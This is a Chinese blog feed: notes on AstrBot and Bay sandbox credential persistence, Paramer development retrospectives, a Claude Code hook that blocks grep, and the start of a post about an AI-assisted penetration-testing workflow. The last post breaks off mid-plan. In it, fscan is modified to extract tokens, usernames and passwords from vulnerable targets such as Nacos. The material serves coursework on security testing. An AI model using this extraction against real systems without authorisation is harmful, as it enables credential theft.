但这个方案后面又暴露了第二层问题：WebUI 更新 AstrBot 之后，源码文件会被更新器重新覆盖。容器没有重建时，command 里的复制动作不会再次执行，于是运行中的 AstrBot 又退回了“不传 cargo_id”的原版逻辑。

现象很典型：机器人调用 lark-cli 时又提示未配置，甚至重新发起 lark-cli config init。这并不是 external cargo 里的凭证丢了，而是 AstrBot 创建 sandbox 时没有再把 fixed cargo 传给 Bay，结果模型落进了新的 managed cargo。

第二版改成了启动时最小文本 patch，并启动后台 watcher 周期性补打 patch。它能止血，但本质上还是在 AstrBot 容器里改源码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


command:
 - sh
 - -c
 - |
 python /AstrBot/local-patches/apply-astrbot-cargo-patch.py
 (
 while sleep 10; do
 python /AstrBot/local-patches/apply-astrbot-cargo-patch.py || true
 done
 ) &
 exec python main.py
volumes:
 - ./data:/AstrBot/data:z
 - ./patches:/AstrBot/local-patches:ro,z

这个脚本只做三件事：

给 ShipyardNeoBooter.__init__ 增加 cargo_id
调用 BayClient.create_sandbox() 时传入 cargo_id
在 computer_client.py 中从 shipyard_neo_cargo_id 或 ASTRBOT_SHIPYARD_NEO_CARGO_ID 读取 cargo

它比整文件覆盖更适合 WebUI 更新场景，但仍然不适合作为长期方案。真正的问题不是 AstrBot 是否能读某个环境变量，而是“创建 sandbox 时该由谁决定 cargo”。这个决定更应该放在 Bay 这个 sandbox 控制面里。

最终我把方案改到了 Bay 侧：

1
2
3
4
5
6


cargo:
 root_path: "/var/lib/bay/cargos"
 default_size_limit_mb: 1024
 mount_path: "/workspace"
 profile_defaults:
 python-lark: "ws-fd07bebac9ae"

Bay 的逻辑变成：

如果请求显式带了 cargo_id，尊重请求
如果请求没带 cargo_id，先按 profile 查 cargo.profile_defaults
命中默认 cargo 时，用该 external cargo 创建 sandbox
绑定 fixed cargo 的 profile 跳过 warm pool，因为 warm sandbox 自带 managed cargo，不能重绑

于是 AstrBot 侧可以恢复成原生容器：

1
2
3
4
5


environment:
 - TZ=${TZ:-Asia/Shanghai}
volumes:
 - ./data:/AstrBot/data:z
 - /etc/localtime:/etc/localtime:ro

这次验证结论：

1
2
3
4


bay_default_cargo_applied=true
lark_auth_status_ok=true
lark_auth_list_ok=true
tea_authenticated=true

所以问题不是凭证持久化无效，而是原来的 patch 生命周期不够强。fixed external cargo 仍然有效；现在由 Bay 根据 profile 稳定选择 cargo，不再依赖 AstrBot 源码 patch。

不同配置文件使用不同账号

接下来还有一个更重要的设计问题：如果不同 AstrBot 配置文件要使用不同的 Gitea 账号和飞书账号，账号状态应该绑在哪里？

当前 AstrBot 配置文件可以各自设置 shipyard_neo_profile，所以短期可以做多个 Shipyard Neo profile，例如 python-lark、python-feishu-flow、python-gitea-work。每个 profile 可以复用同一份工具镜像，但在 Bay 的 cargo.profile_defaults 里绑定不同 external cargo。这样每个账号组都有自己的 /workspace/.config，CLI 配置不会互相踩。

更干净的长期方案是把账号组作为部署资源管理：

在 Shipyard Neo 中为每个账号组创建 external cargo
在 AstrBot 配置文件里用 shipyard_neo_profile 表达账号组
由 Bay 根据 profile 选择对应 cargo_id
创建 sandbox 时传入 cargo_id
lark-cli 和 tea 继续把配置写到 /workspace/.config

这样账号状态就从“某个临时 sandbox 的副产物”变成“某个 AstrBot 配置文件绑定的持久化 workspace”。例如：

1
2
3


default config -> cargo-default -> /workspace/.config
feishu-flow config -> cargo-feishu-flow -> /workspace/.config
gitea-work config -> cargo-gitea-work -> /workspace/.config

现在已经有了 Bay 侧 profile -> cargo 映射，所以单账号组持久化已经跑通。后续要支持多账号组，只需要继续增加 profile 和 external cargo 映射，而不是继续把所有账号都塞进同一个 cargo。

如果不想继续改 AstrBot，最稳妥的替代方案仍然是为不同账号组拆成不同 AstrBot 实例：每个实例有自己的配置仓库、自己的 Bay profile 或 Bay 部署、自己的 CLI 登录态。这比较笨，但隔离边界清晰，出问题时也容易回滚。

当前结果

现在我有了一个新的、干净的 AstrBot 配置仓库：

1

/home/veno/Projects/astrbot-config

它已经能通过 Docker Compose 启动 AstrBot，并且接上了可持久化 CLI 凭证的 Shipyard Neo sandbox。

下一步再继续往这个仓库里加：

用 Git 管理的全局 Skills
插件内置 Skills
自研 Gitea / 飞书同步插件
可同步的机器人记忆、规则和状态映射

第一阶段先到这里：先让 AstrBot 以一个可复现的 GitOps 形态跑起来，并让后续工具调用不再重复处理基础授权问题。

Paramer 开发记录 1 - 错误的技术选型

Fri, 17 Apr 2026 15:39:25 +0800

著名的程序员 V 说过：

错误的团队沟通导致错误的需求理解，错误的需求理解导致错误的技术选型。

Paramer 这个项目，总结一下，就是一个参数化计算任务的批量运行管理平台。用户可以自行使用 Paramer SDK 编写任意形式的计算任务脚本（称为 Template），只需要确认输入输出格式符合规范。支持对接外部的调度器进行分布式的任务调度，支持在后端管理不同的 Template 版本。

然而这个总结是我接触这个项目到现在一年了才能做出的精炼的总结。实际上当项目拿到手时，我看到的是古神低语。

在接触 Paramer 之前，我对于后端的了解仅限于用 go gin 写了几个简单到几乎是 hello world 的路由，但是稍微了解了一下项目大概会怎样启动，怎样划分模块。

黑历史 - Simflow 时期

这一段其实应当放在第 0 篇: Paramer 开发记录 0 - 开端更为合适。但是当时比较匆忙，还没定好每篇大纲就 push 了，现在补一下，作为背景故事的补充。

最开始这个项目他们打算叫 SimFlow。我完全不知道 Sim 是什么， Flow 是什么。我只是从各种看不懂的术语中模糊地感知他们是搞硬件的，搞电磁领域的研究，只知道他们似乎想要结合物理和 AI，用于加快各种器件的研发。

先前他们已经尝试做了一个让人非常眼前一黑的原型，我时至今日都没办法一下子搞清楚这项目是怎么跑起来的。

他们分了一段时间给我先熟悉一下项目。

代码即视感如图：

以及启动时要管理几十个长成 SIMFLOW_XXXXX_XXX_XX_XXXXX_XXX 几乎要看起来一模一样这样的环境变量，几乎完全为 0 的文档，一百四十多行的 requirements.txt，后端无框架，直接 aiohttp 手搓，每一个路由函数都是一个巨大的面条代码，没有 ORM，没有迁移脚本，纯靠 self.db_module = importlib.import_module('aiosqlite')，然后手搓一切 SQL。

当我对于 simflow 完全感到束手无策时，我时常会注意到 xfmr_6port 这个字样，只知道似乎它和 simflow 密切相关，甚至直接耦合。我不理解 xfmr 是什么诡异的字母组合，6port 又是什么也看不懂。于是我提问，得到了一个非常简短的回答：

xfmr 就是 Transformer。

哦，Transformer，这下知道跟啥有关了。不是说要搞物理 + AI 嘛，也许有希望能串起来了。但 6port 又是个啥。

于是我去了 xfmr_6port 的项目文件夹，看到了另一不可名状之物，比 simflow 更不可名状一点。

图就不放了，好奇的可以直接问我。大概描述一下就是，比 simflow 更没组织的少量 Python 脚本，大量的完全没法理解的 shell 脚本，非常大量的我见都没见过的后缀名的 VSCode 都不知道上哪下插件来显示语法，也不知道到底有没有用只能假设全都有用的文本文件。

但我必须得了解这个项目，想问，又不知道我对于一个项目，真正需要了解什么，真问了，发现回答的也不太听得懂。给人一种看上去他们好像自己也很忙很折磨，也没时间让我真的理解来龙去脉的感觉。一旦问到一些自己感到迷惑的地方，他们又会表示，这个地方你不用管，你只需要关心那一块就行了。

而且因为完全没明白对方想表达什么导致现在完全记不得问了什么，答复什么

问来问去，看来看去，看了一圈，也没看到有关 Transformer 的东西。于是，Veno 放弃了思考。

几天之后，我在某个 xml 文件里看到了个 pin 这个字样，一拍脑袋突然意识到：

这 Transformer 他娘的是变压器！一直说什么物理 AI，AI 物理的，敢情是到现在还没接过任何一个 AI 啊。

绝望的是我后来需要为这个项目多写几个 CURD 路由并且保证它不崩，好在它真跑成功了。

虽然我认为真的很没必要了解 Simflow 的代码结构，但如果你真的好奇当前的软件是个什么情况, AI 整理出来的代码结构图我会放在本文末尾。需要注意的是，我当时对 Backend Server 以外的区域一无所知，只知道是一个黑盒系统，我丢进去一个输出 X，有可能会得到一个 Y。

就这样我维护了 simflow 差不多一个月的时间。

完全重写 - Paramer V1

这样的代码不可能继续高效维护的，由于我们目前属于一个预研项目，没有很紧急的 DDL，大家决定重构一版。更准确地说，这是准备完全重做一个版本。

因为 Simflow 这个名字被注册过，所以使用了 Paramer 这个名字。

你可以直接认为，我现在正从零开始写一个项目。

在重写之前，作为团队中唯一的后端开发的我，仍然没有深刻理解 Paramer 这个产品到底想做成什么样子。

对产品的理解偏差恰恰是一件非常危险的事，并且直接导致后续各种路线错误，包括技术选型，后端架构，代码结构，开发周期预估等等。

如何理解产品

著名程序员 V 曾经说过：

构建产品的前提，是理解产品

究竟怎样才算理解产品呢？他提出了三大考虑维度：

客户群体
解决方案
计费形式

然而，由于错误的团队沟通导致了错误的需求理解。以上的视角是一年之后，也就是写博客时的 Veno 的视角。一年之前的 Veno，仅仅和团队沟通出了第二点的一半。

经过几天的沟通和开会，当时的我总结出的旭哥提出的需求，差不多是这样的：我们需要一个分布式集群的，可拓展的，异步的，容器化的，仿真任务管理后端。并且允许通过“模板”来定义多种多样的仿真任务，由 Paramer 管理。

直到现在才知道，原来那个 xfmr_6port，他们是想把它做成一个示例用的任务模板，Paramer 会需要能管理各种各样的模板，比如 xfmr_4port, 8port 等等。

可惜的是当时的 Veno 并没有关注到真正应该关注的问题，也没有想着跟产品经理 battle，去砍掉一些不合理的需求。

于是得到了大概这样的关键词：分布式，容器化，模板化。

对比一下过去和现在关注到的重点：

Then	Now
1. 分布式	1. 客户群体
2. 容器化	2. 解决方案
3. 模板化	3. 计费形式

记住这个对比，它是悲剧的开端。

错误的技术选型

我们回到当时的 Veno 的视角，看看他面对目前理解的需求，做出了怎样的技术选型。

首先，我们需要分布式，容器化，可拓展的高性能计算任务资源调度，显然会想到大概会是需要 Kubernetes。调研了一下，有没有适用于 Kubernetes 的 HPC 任务编排框架呢？搜了下还挺多，Kubeflow, Volcano, Kueue。到底选哪个？

思考这个问题时，必须注意到：EDA 和 AI 训练存在相当大的大区别，因此 EDA 的调度问题也绝不能直接照搬 AI 训练的经验。

EDA 是 IO 和 CPU 密集型的任务，AI 训练是 GPU 密集型任务。
EDA 是多阶段，多周期的任务，存在复杂的状态和织成网一样的流程，而 AI 训练的状态相对简单，是线性的。

此时不得不明确，在这一个层级，我们只希望使用到计算资源的调度分配，而不希望让它负责任务流的编排。因为在用户友好的前提下，它们很难满足条件。在资源调度上，似乎 Volcano 是最符合需求的。

那么，选择了云原生架构下的计算资源调度器 Volcano。

其次，我们需要让用户可以写自定义的任务脚本作为“模板”，那么就需要一个 SDK，用 Python 实现 SDK 是合适的。

其次因为还想着从 Simflow 重构，想着也许大概可能会想参考到一些 Simflow 的任务流逻辑等等的代码，加上之前自己写 Python 多一点，也许用 Python 的话说不定实现起来会快很多，并且我们的重点计算负载也不会在后端服务上，不会有很高的并发需求。于是准备继续用 Python 实现后端。在 Python 方面，框架用 FastAPI。ORM 会选择 SQLAlchemy，以及其他的微服务基建设施。

目前为止，一切看上去都非常合理，对不对？

换个视角，技术选型截然不同

我们回顾一下上面的 Then and Now:

Then	Now
1. 分布式	1. 客户群体
2. 容器化	2. 解决方案
3. 模板化	3. 计费形式

一年之前，由于团队沟通上的失败，产品经验的缺乏，以及大家都是偏向技术思维，共同导致我们完完全全只注意到了产品理解三要点中，第二点的部分内容，甚至没有排除掉不合理的技术需求。

现在我们已经知道了我们到底要问清楚哪些事情，一条条来看，就会清楚上面的技术选型错在哪里。

客户群体

现在的 Veno 如果接手该项目，首先会尝试询问并了解这个项目的客户都是什么人。得知：

我们会把产品卖给硬件公司，而硬件公司的那帮硬件工程师相当缺乏软件工程素养。他们在软件上是技术白痴，认为一旦出现了浏览器和网页就意味着需要联网，不知道 IP 是个什么东西，更不能指望他们写配置文件，系统服务等等。

并且硬件工程师由于各种软件的缘故，他们必须在非常老旧的 Linux 发行版上完成大部分工作，例如 CentOS 7/8，RHEL 8。

用户大概率无法连接公网，只能在企业内网中工作，保密级别高。

解决方案

这是相对来讲很难沟通的一点，对产品经理的要求更高。产品经理需要有很强的明确产品需求的能力以及目标拆解的能力，这一点我打算放在后续的团队沟通章节里细讲，这里我直接非常粗略地讲一下。

可以这样考虑：现在的行业中产生了什么痛点，我们的产品可以怎样解决痛点。对于 Paramer 这个产品，真正的想法如下。

行业的痛点是这样的：EDA 软件各家独大，却又在整个仿真流程各个步骤中各自不可或缺。仿真的结果数据体积庞大（因为是 EDA 项目文件），许多仿真结果难以持久化，难以查询。整个仿真流程耗费相当算力，却又不得不经常对相同的输入完全重算。

我们提供的解决方案：通过 Template 这一概念，使得用户可以将复杂的仿真任务流程抽象为一个自定义的参数化的输入 X 输出 Y 的函数。任务脚本只需要定义一次便可使用多种多样的 X 进行计算，而自定义参数和格式的 X 和 Y 使得用户可以便捷地提取并记录庞大仿真结果文件中的关键数据，并对其进行处理。

用户仿真的目的是检验在某一 X 输入下能否得到理想目标中的 Y。由于参数化的特性，用户甚至可以对 Y 应用数学原理，使用各类优化算法，使用尽可能少的仿真次数，就能找到目标 Y 所对应的 X，这将大大降低人力成本。

计费方式

现在的 Veno 又继续沟通，得知了这一软件会是一个 B 端产品。To B / To C 产品的本质区别不太能直接简单说成面向组织/面向个人，或许应当单独放一个文章讲。总之，大概会有这样的特性：付费者，使用者，决策者相互分离，需要定制，生命周期长，收费是签合同，搞订阅。

对于 Paramer，软件是订阅制的，并且产品单价相当高，软件本体一份预估卖到至少二十万以上甚至更多，如果附加 Feature 则继续加价。

初始的技术选型，步步错

B 端产品，用户技术白痴，平台限制 Linux，系统老旧，无法联公网。那么我们不可能是一个 SaaS 产品，不可能云原生，更不可能指望客户运维 k8s。好了，volcano 以及一切的微服务相关技术栈被立刻排除。

系统老旧，部署越便捷越好。要么需要将软件容器化，虚拟机镜像，要么是在兼容老系统的容器中编译的 standalone 应用。

计费方式，由于软件的单价很高，破解的成本必须大于购买成本，License 的强度成为了重中之重。甚至说 License 的考虑优先级必须被排在首位，远高于运行效率等问题。那么 Python 显然必须要被干掉，

又因为我们是离线不联网的环境，所有的 License 工作不会存在网安，只会存在反逆向。那么实际上应当调研各个编程语言对应最强的加密手段如何，避免开发之后再亡羊补牢。事实上，由于我们没有在开发初期就考虑 License 问题，直接导致了后续的灾难。

讲到这里，之前的技术选型已经全部死完了。

总结

回头看这一段黑历史，最大的教训是，在没有搞清楚产品是什么之前，就开始做技术选型。

我想在这里再次回顾一下上面的 Then and Now:

Then	Now
1. 分布式	1. 客户群体
2. 容器化	2. 解决方案
3. 模板化	3. 计费形式

当时的思考路径是这样的：

听到“分布式” → Kubernetes 听到“计算调度” → Volcano / Kubeflow 听到“模板” → Python SDK 想快速做出原型 → FastAPI + SQLAlchemy

这一整套推理链条没有逻辑错误，我甚至觉得是标准答案。重要的是，先前的关注点走在了错误的抽象层级上，直接跳跃到了技术实现阶段，这导致把一些技术方向和真实需求混为一谈。但技术往往是最后才需要优化的东西，尤其是 To B 的场景中。

从来都不应该默认技术方向是需求的一部分。因为：

技术并不是为技术本身服务的，是为需求服务的，而需求需要被质疑。

想要分布式，那后端本身真的需要分布式吗？需要容器化，客户真的能用吗？当这些问题没有被反问时，它们就会以理所当然的形式进入系统设计，然后变成架构的基石。一旦基石错了，后面所有设计都只能是在错误的毛坯上精装修。人话，堆屎山。

所以才会有这样的说法：一旦一个人太过沉迷技术，那么他就不适合做领导者。

错误的团队沟通导致错误的需求理解，错误的需求理解导致错误的技术选型。这一条因果链会逐渐放大上一个环节的错误，等你发现问题的时候，已经不是改一改能解决的了，必须推倒重来。

AI 提供的 Simflow 代码结构（未经检查，仅供参考）

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121


+-----------------------------------------------------------------------+
| USER BROWSER |
| http://host:3000 (static) |
+--------------------------------+--------------------------------------+
 | HTTP / WebSocket
 v
+------------------------------------------------------------------+------+
| FRONTEND | |
| React App (SimflowFrontend/SimflowDeploy/build) | |
| +----------------+ +----------------+ +--------------------+ | |
| | Monitor.js | | Simdetails.js | | List.js | | |
| | (main view) | | (param config) | | (table view) | | |
| +----------------+ +----------------+ +--------------------+ | |
| +----------------+ +----------------+ | |
| | Redux Store | | axiosfun.js | (API calls) | |
| +----------------+ +----------------+ | |
+--------------------------------+---------------------------------+ |
 | |
 HTTP / WebSocket |
+--------------------------------V-------------------------------------+ |
| BACKEND SERVER | |
| simflow_server.py (aiohttp, IPv6) | |
| Port: SIMFLOW_PORT (8080) | |
| +-------------------------------+-----------------------------------+ |
| | REST API Routes | WebSocket /ws | |
| | POST /initiate_simulation +-----------------------------------+ |
| | POST /update_simulation handle_message() | |
| | POST /stop_simulation -> PCellManager | |
| | POST /download_simulation | |
| | POST /delete_simulation_* | |
| | GET /db_query_all | |
| | GET /get_default_params <- reads XML from SIMFLOW_XML_PATH | |
| | GET /get_simulation_settings <- reads JSON | |
| +--------------------------------+----------------------------------+ |
| | | |
| +---------------------------------V---------------------------------+ |
| | PCellManager (async) | |
| | - initiate_simulation_workflow() | |
| | - update_simulation_workflow() | |
| | - stop_simulation() | |
| | - delete_simulation() | |
| | +------------------------+ | |
| | | DatabaseManager | (SQLite or MySQL) | |
| | | - templates table | columns: id, pcell, params, | |
| | | - failure_cache table | simstatus, path, request_id | |
| | +------------------------+ | |
| | | | |
| | +---------------------------------V----------------------------+ | |
| | | job_operation (plugin interface) | | |
| | | submit() / wait() / cancel() | | |
| | +--------------------------------|-----------------------------+ | |
| +-----------------------------------|--------------------------------+ |
| | |
+--------------------------------------|----------------------------------+
 | HTTP API
 +-----------------+-----------------+
 | /plugins/list [sync]
 | /api/{plugin_name}/...
 v
+------------------------------------------------------------------------+
| SIMFLOW DAEMON |
| daemon/main.py (Flask) |
| Port: SIMFLOW_DAEMON_LISTEN_PORT (8079) |
| +-------------------------------+---------------------------------+ |
| | Plugins() | Daemon (docs) | |
| | - Dynamically loads plugins | - /docs (all docs) | |
| | from $SIMFLOW_PLUGINS_PATH | - /docs/{module}/{doc_name} | |
| | - Calls plugin.register() | - Markdown -> HTML via Jinja2 | |
| | - Registers plugin routes | | |
| +-------------------------------+---------------------------------+ |
| | |
| +-------------------------------V---------------------------------+ |
| | SLURM Plugin (plugins/slurm/) | |
| | +---------------------+ +-----------------------+ | |
| | | app.py | | operation.py | | |
| | | - SlurmInfo | | - submit() -> sbatch | | |
| | | - SlurmManager | | - wait() -> squeue | | |
| | | - SlurmAPIManager | | - cancel() -> scancel| | |
| | | - SlurmDocsManager | +-----------------------+ | |
| | +---------------------+ | |
| | /api/slurm/health /api/slurm/submit /api/slurm/cancel | |
| +-----------------------------------------------------------------+ |
+------------------------------------------------------------------------+
 |
 sbatch / squeue / scancel
 |
+--------------------------------------v--------------------------------+
| SLURM CLUSTER |
| +----------------------+ +----------------------+ |
| | Compute Node(s) | | Job Scheduler | |
| | runsim.sh executed | | (slurmctld) | |
| +----------------------+ +----------------------+ |
+-----------------------------------------------------------------------+
 |
 v
+---------------------------------------------------------------------+--+
| xfmr_6port (SIMFLOW_TEMPLATE_PATH) | |
| +--------------------------------------------------------------+ | |
| | task/runsim.sh [MAIN SIMULATION ORCHESTRATOR] | | |
| | 1. Load Cadence IC231 / EMX environment | | |
| | 2. Export OA layout from PCELL (dbAccess) | | |
| | 3. Export GDS (strmout) | | |
| | 4. Run EMX EM simulations (3 modes): | | |
| | emx_script.sh (standard: port extraction) | | |
| | emx_script_LR.sh (inductance/resistance) | | |
| | emx_script_CR.sh (capacitance/resistance) | | |
| | 5. Parameter extraction via xfmr_6port_param_extract.py | | |
| | 6. Output: output.y, responses.json, simulation.log | | |
| +--------------------------------------------------------------+ | |
| | |
| +----------------+ +----------------+ +----------------+ | |
| | datadisplay/ | | scalablemodel/ | | pcelldev/ | | |
| | (ADS viz) | | (L,Q,k extract)| | (PCELL layouts)| | |
| +----------------+ +----------------+ +----------------+ | |
| | |
| +--------------------------------------------------------------+ | |
| | etc/conf.d/ <- simflow reads KEY=VALUE for settings | | |
| | default_params/ <- XML: cell param defaults | | |
| | default_settings/ <- JSON: sim settings (freq range, pins) | | |
| +--------------------------------------------------------------+ | |
+------------------------------------------------------------------------+

Paramer 开发记录 0 - 开端

Fri, 10 Apr 2026 01:05:40 +0800

不断开发，迭代，维护了一年的项目，需要整理一下自己的经历。

这个系列连本篇博客预计共十篇，顺序依据这个项目的开发历程中先后得到的感悟而编排。包括：

技术选型
开发踩坑
团队沟通
项目重构
架构设计
文档维护
团队管理
软件安全
项目交接

但是，首先这不是一个常规的后端应用，其次这也不是什么技术大厂里的开发规范流程，况且我仍然缺乏开发经验，因此这个系列注定不是软件开发流程的教科书，甚至可以说这是教科书的反面。我不知道这个系列的参考价值如何，仅仅是想记录自己所花费的心力，不想它们被忘记，最终无从回忆。

这个开发记录系列其实要叫“Paramer 开发血泪史”，我已经提到这大概会是教科书的反面。如果要按文章内容算的话，大概这九篇会这样安排：

让零开发经验的人做技术选型的后果
所有以为“不会出问题”的地方，最后都会出问题
“我以为你知道”
为什么不一开始考虑好怎么写呢
过度设计
如果你给人类写的文档最后只有 AI 会读
软件工程，修饰词是软件，主语是工程
软件安全不可能三角：离线，高破解成本，运行效率
你想交接，但只有你一个人了解这个项目

用 Claude Code Hook 强制使用 rg 替代 grep

Sat, 28 Feb 2026 20:00:00 +0800

Claude Code 内置了专用的 grep 工具，但在某些场景下它仍会通过 Bash 工具直接调用 grep。ripgrep（rg）在速度、默认递归搜索、自动遵守 .gitignore 等方面都更优。通过配置 PreToolUse hook，可以让 Claude Code 在执行任何 grep 命令时自动切换为 rg。

想法来自于这篇视频

Claude Code Hooks 工作原理

Claude Code 支持在特定事件点注入用户脚本，称为 hooks。PreToolUse 事件在工具调用执行之前触发，可以检查、拦截即将执行的操作。

对于 Bash 工具，hook 脚本通过 stdin 接收如下 JSON：

1
2
3
4
5
6
7


{
 "session_id": "abc123",
 "tool_name": "Bash",
 "tool_input": {
 "command": "grep -r 'pattern' ."
 }
}

hook 脚本可以输出以下 JSON 来拦截命令：

1
2
3
4


{
 "decision": "block",
 "reason": "原因说明，Claude 会读取并据此调整"
}

关键机制：hook 无法直接修改命令本身，只能 block 并附带说明。Claude 读取 reason 后会自动纠正并重试——这已经足够实现目标。

实现步骤

1. 创建 hook 脚本

新建 ~/.claude/hooks/grep-to-rg.sh：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#!/bin/bash
# 拦截 grep 命令，提示 Claude 改用 rg

INPUT=$(cat)
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty')

if echo "$COMMAND" | grep -qE '(^|[|;&]\s*|`\s*)grep\b'; then
 jq -n '{
 "decision": "block",
 "reason": "禁止使用 grep。请改用 ripgrep (rg)，例如将 grep -r 替换为 rg，grep -l 替换为 rg -l。rg 更快且默认递归搜索。"
 }'
 exit 0
fi

正则 (^|[|;&]\s*|`\s*)grep\b 覆盖了命令开头、管道、分号、反引号等各种 grep 出现的位置，避免误拦截含 “grep” 字符串的变量名等。

赋予执行权限：

1

chmod +x ~/.claude/hooks/grep-to-rg.sh

2. 注册到 settings.json

编辑 ~/.claude/settings.json，添加 hooks 配置：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


{
 "hooks": {
 "PreToolUse": [
 {
 "matcher": "Bash",
 "hooks": [
 {
 "type": "command",
 "command": "/Users/your-name/.claude/hooks/grep-to-rg.sh"
 }
 ]
 }
 ]
 }
}

matcher: "Bash" 表示仅对 Bash 工具调用触发此 hook。

验证

用 echo 模拟 stdin，测试脚本逻辑：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


# grep 命令应被拦截
echo '{"tool_input":{"command":"grep -r pattern ."}}' \
 | ~/.claude/hooks/grep-to-rg.sh

# 输出：
# {
# "decision": "block",
# "reason": "禁止使用 grep。..."
# }

# rg 命令应静默通过
echo '{"tool_input":{"command":"rg pattern ."}}' \
 | ~/.claude/hooks/grep-to-rg.sh; echo "exit: $?"

# 输出：
# exit: 0

重启 session 后，让 Claude 尝试执行一个 grep 命令，它会自动切换为 rg：

1
2
3
4
5
6
7


# 尝试 grep
grep -r "PluginList" Plugins/
# → hook 触发，被拦截

# Claude 自动改用 rg
rg "PluginList" Plugins/
# → 正常执行，返回结果

补充说明

作用范围：配置在 ~/.claude/ 为用户级，对所有项目生效。若只想对特定项目生效，将 hooks 配置放到项目的 .claude/settings.json 中即可。
hook 不能修改命令：PreToolUse hook 目前只支持 allow / block / ask 三种决策，无法直接改写即将执行的命令。依赖 Claude 读取 reason 后自动纠正，实际效果等价。
前提：系统中需要安装 rg 和 jq。macOS 上 brew install ripgrep jq，其他平台参考各自的包管理器。

初试渗透测试，尝试构建 AI 渗透工作流

Wed, 25 Feb 2026 17:53:41 +0800

其实是寒假作业，早就该折腾了，结果拖到现在。不过觉得做的东西还是很有意义的，需要好好记录。

作业要求 Code is cheap, show me the talk. 所以秉承这样的观点，并且尽量让工作流 AI 化。

本文中人类的 prompt 将用 Markdown 引用语法标注。

fscan 二次开发

正则提取 poc 响应关键字

本节使用 Claude Sonnet 4.6

fscan 默认的 yaml 语法是 xray 风格的，没有提取响应的功能。希望给 fscan 补充正则提取响应关键字段的功能。

fork 一下 fscan 的仓库，从 v1.8.4 release 开始开了个 feat/show-output 分支，因为听说后续的 main 分支使用体验并不很好。

claude code /init 一下。看了眼感觉不够满意，因为需要补充新增 WebScan 的扫描输出的功能，所以让它补充研究了一下 WebScan 的代码结构，记录在 CLAUDE.md。

着重关注一下 WebScan 的代码结构，一并记录在 CLAUDE.md。 2.使用 web_search mcp 工具，查看 fscan 文档 https://fscan.club/#/docs, 在 CLAUDE.md 中记录 fscan 特有的构建约束的说明，记录常用的构建约束指令。注意遵循此次对 CLAUDE.md 的修改仍然遵循 /init 命令的原则：

“Focus on the big picture architecture”

“Avoid listing every component”

“Don’t include generic development practices”

此处的 web_search mcp 来自 MiniMax，结果发现在有精确网址的情况下不太好用，claude 自己用 fetch 了。

然后开始 vibe coding。习惯使用 plan mode 先让它讲清楚计划，看了没有很离谱才让它继续写。

在 WebScan/ 中通过解析 poc 的响应内容，允许用户在 poc yaml 中使用正则表达式提取和编写 exp 相关的字段。下面给出样例：
1
2
3
4
[+] PocScan http://10.3.4.78:8848 poc-yaml-nacos-multi-check-auth-bypass
 * accessToken: xxxxxxxxxx
 * username: xxxxxxxxxx
 * password: xxxxxxxxxx

Plan: Display POC Search-Extracted Variables in Output

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131



Plan: Display POC Search-Extracted Variables in Output

Context

Currently, when a POC succeeds in normal mode (rules-based), named capture groups extracted from HTTP responses via the search regex field are stored in
variableMap for use in subsequent rules but are never displayed to the user. The user wants these extracted values (e.g., access tokens, credentials)
to appear in the scan output below the POC result line:

[+] PocScan http://10.3.4.78:8848 poc-yaml-nacos-multi-check-auth-bypass
 * accessToken: xxxxxxxxxx
 * username: xxxxxxxxxx
 * password: xxxxxxxxxx

Critical File

Only one file needs modification:
/Users/veno/Projects/fscan/WebScan/lib/check.go

Implementation

1. Add "sort" import

In the import block, add "sort" (alphabetically between "regexp" and "strings").

2. Modify executePoc signature

From:
func executePoc(oReq *http.Request, p *Poc) (bool, error, string)
To:
func executePoc(oReq *http.Request, p *Poc) (bool, error, string, map[string]string)

3. Declare searchVars after variableMap (line ~80)

variableMap := make(map[string]interface{})
defer func() { variableMap = nil }()
searchVars := make(map[string]string) // ADD THIS
variableMap["request"] = req

4. Populate searchVars in DealWithRule closure

Change the search block inside DealWithRule from:
if rule.Search != "" {
 result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
 if len(result) > 0 { // 正则匹配成功
 for k, v := range result {
 variableMap[k] = v
 }
 } else {
 return false, nil
 }
}
To:
if rule.Search != "" {
 result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
 if len(result) > 0 { // 正则匹配成功
 for k, v := range result {
 variableMap[k] = v
 if k != "" { // only named groups; unnamed groups have empty-string key
 searchVars[k] = v
 }
 }
 } else {
 return false, nil
 }
}

5. Update all return statements in executePoc

┌──────┬────────────────────────────────────────┬───────────────────────────────────────┐
│ Line │ From │ To │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
│ ~72 │ return false, err, "" │ return false, err, "", nil │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
│ ~77 │ return false, err, "" │ return false, err, "", nil │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
│ ~86 │ return false, nil, "" │ return false, nil, "", nil │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
